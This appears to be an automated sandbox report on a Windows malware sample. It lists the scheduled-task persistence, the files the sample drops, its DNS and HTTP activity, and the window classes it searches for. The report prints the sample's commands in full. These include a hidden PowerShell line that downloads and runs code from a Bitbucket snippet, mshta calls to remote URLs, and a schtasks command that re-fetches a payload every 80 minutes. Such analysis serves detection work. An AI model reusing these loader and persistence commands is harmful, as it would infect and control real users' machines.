Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\secotaksa
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\mshta.exe' "http://www.bi##y.com/shdjkashdjkashdkjsafhjk"
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1356
Modifies file system
Creates the following files
- %HOMEPATH%\application data\microsoft\forms\powerpnt.box
- %LOCALAPPDATA%\microsoft\forms\frmdata64.dat
- %TEMP%\outlook logging\firstrun.log
- %WINDIR%\inf\outlook\outlperf.h
- %WINDIR%\inf\outlook\0009\outlperf.ini
- %TEMP%\1151583.cvr
Network activity
Connects to
- 'bi##y.com':80
- 'or#########einkyukartaahun.blogspot.com':443
- 'bl##ger.com':443
- 're#####es.blogblog.com':443
- 'oc##.#tartssl.com':80
TCP
HTTP GET requests
- http://www.bi##y.com/shdjkashdjkashdkjsafhjk
- http://bi##y.com/shdjkashdjkashdkjsafhjk
- http://oc##.#tartssl.com/sub/class2/code/ca/MEMwQTA%2FMD0wOzAJBgUrDgMCGgUABBQSOgrhRCSnWfKxoWTjWxhk8hga9AQU0E4PQJlsuEsZbzsouODjiAc0qrcCAhAV
Other
- 'or#########einkyukartaahun.blogspot.com':443
- 'bl##ger.com':443
UDP
- DNS ASK bi##y.com
- DNS ASK or#########einkyukartaahun.blogspot.com
- DNS ASK bl##ger.com
- DNS ASK re#####es.blogblog.com
- DNS ASK oc##.#tartssl.com
- DNS ASK st####.rapidssl.com
Miscellaneous
Searches for the following windows
- ClassName: 'mspim_wnd32' WindowName: 'Microsoft Outlook'
- ClassName: 'rencat' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w h i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinydevtech/6XX8Bo/502cd1dfa4cd45fb63ccaabf53860b812ce2c2f5/files/multiwar') -useB);' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://12##########948@madarbloghogya.blogspot.com/p/mutiback1.html\""' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\outlook.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w h i'E'x(iwr('https://bitbucket.org/!api/2.0/snippets/tinydevtech/6XX8Bo/502cd1dfa4cd45fb63ccaabf53860b812ce2c2f5/files/multiwar') -useB);
- '<SYSTEM32>\schtasks.exe' /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://12##########948@madarbloghogya.blogspot.com/p/mutiback1.html\""
